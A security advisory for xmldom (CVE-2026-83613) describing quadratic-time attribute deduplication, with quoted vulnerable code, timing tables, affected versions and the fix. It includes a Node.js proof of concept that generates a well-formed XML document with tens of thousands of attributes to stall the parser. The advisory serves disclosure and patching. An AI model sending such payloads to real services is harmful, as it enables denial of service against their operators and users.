Advisory

GHSA-8344-3jmq-59r6

Also known as: CVE-2026-83613

Summary

xmldom: Quadratic-time attribute deduplication

Details

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a
time into a DOM NamedNodeMap. Each insertion first performs a **linear scan of all
already-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same
qualified name / namespace+local-name). Parsing an element that carries M distinct attributes
therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a
fully well-formed XML document. No malformed markup, no error recovery, and no non-default
parser options are involved — parsing completes silently with zero warning/error/fatalError
events. An attacker who can submit a modest, highly compressible document (a single element with
tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU
per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it
does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling
el.setAttributeNode(attr) in a loop:

// DOMHandler.startElement
for (var i = 0; i < len; i++) {
	var namespaceURI = attrs.getURI(i);
	var value = attrs.getValue(i);
	var qName = attrs.getQName(i);
	var attr = doc.createAttributeNS(namespaceURI, qName);
	attr.value = attr.nodeValue = value;
	el.setAttributeNode(attr);          // O(existing attrs) each — see below
}

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look
for an existing attribute with the same namespace URI and local name before appending:

setNamedItem: function (attr) {
	var el = attr.ownerElement;
	if (el && el !== this._ownerElement) {
		throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
	}
	var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan
	if (oldAttr === attr) {
		return attr;
	}
	_addNamedNode(this._ownerElement, this, attr, oldAttr);
	return oldAttr;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

getNamedItemNS: function (namespaceURI, localName) {
	if (!namespaceURI) {
		namespaceURI = null;
	}
	var i = 0;
	while (i < this.length) {
		var node = this[i];
		if (node.localName === localName && node.namespaceURI === namespaceURI) {
			return node;
		}
		i++;
	}
	return null;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs
Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain
array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via
getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear
scan, so the complexity is identical:

  • startElement loop / setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176
  • setNamedItem → linear getNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the
unscoped xmldom package back to its earliest published release. In [email protected], parsing already
inserts each attribute one at a time (DOMHandler.startElement loops calling
setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by
calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted
attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is
therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert
linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) {
	var parts = new Array(m);
	for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
	return '<r ' + parts.join(' ') + '/>';   // <r a0="x" a1="x" ... a{M-1}="x"/>
}

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
	var m = sizes[_i];
	var xml = buildDoc(m);
	var t0 = process.hrtime.bigint();
	var doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events
	var ms = Number(process.hrtime.bigint() - t0) / 1e6;
	console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
		doc.documentElement.attributes.length);
}

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the
load-bearing fact):

`@xmldom/xmldom` 0.9.10:

| M (attributes) | input bytes | time (ms) | ratio vs prev |
|---:|---:|---:|---:|
| 2000 | 18,894 | 13.4 | — |
| 4000 | 38,894 | 38.7 | ×2.9 |
| 8000 | 78,894 | 100.8 | ×2.6 |
| 16000 | 164,894 | 406.2 | ×4.0 |
| 32000 | 340,894 | 2149.5 | ×5.3 |

`@xmldom/xmldom` 0.8.13:

| M (attributes) | input bytes | time (ms) |
|---:|---:|---:|
| 2000 | 18,894 | 10.6 |
| 4000 | 38,894 | 19.9 |
| 8000 | 78,894 | 75.9 |
| 16000 | 164,894 | 657.7 |
| 32000 | 340,894 | 1643.2 |

`xmldom` (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s
of single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.
The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses
attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;
a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a
plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate
and reaches the parser before any application-level validation (e.g. schema checks or signature
verification) can run. The payload is highly compressible, so it is effective over compressed
transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed
index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a
well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute
order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking
and independent of requireWellFormed; ships on both maintained versions.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-09-08 21:01 UTC
Modified
2026-09-08 21:25 UTC

Affected packages and fixes

@xmldom/xmldom

npm · All systems

Affected

  • introduced 0.7.0, fixed 0.8.15 (semver)

Fixed versions

0.8.15

Fix

@xmldom/xmldom

npm · All systems

Affected

  • introduced 0.9.0, fixed 0.9.12 (semver)

Fixed versions

0.9.12

Fix

xmldom

npm · All systems

Affected

  • introduced 0, last affected 0.6.0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences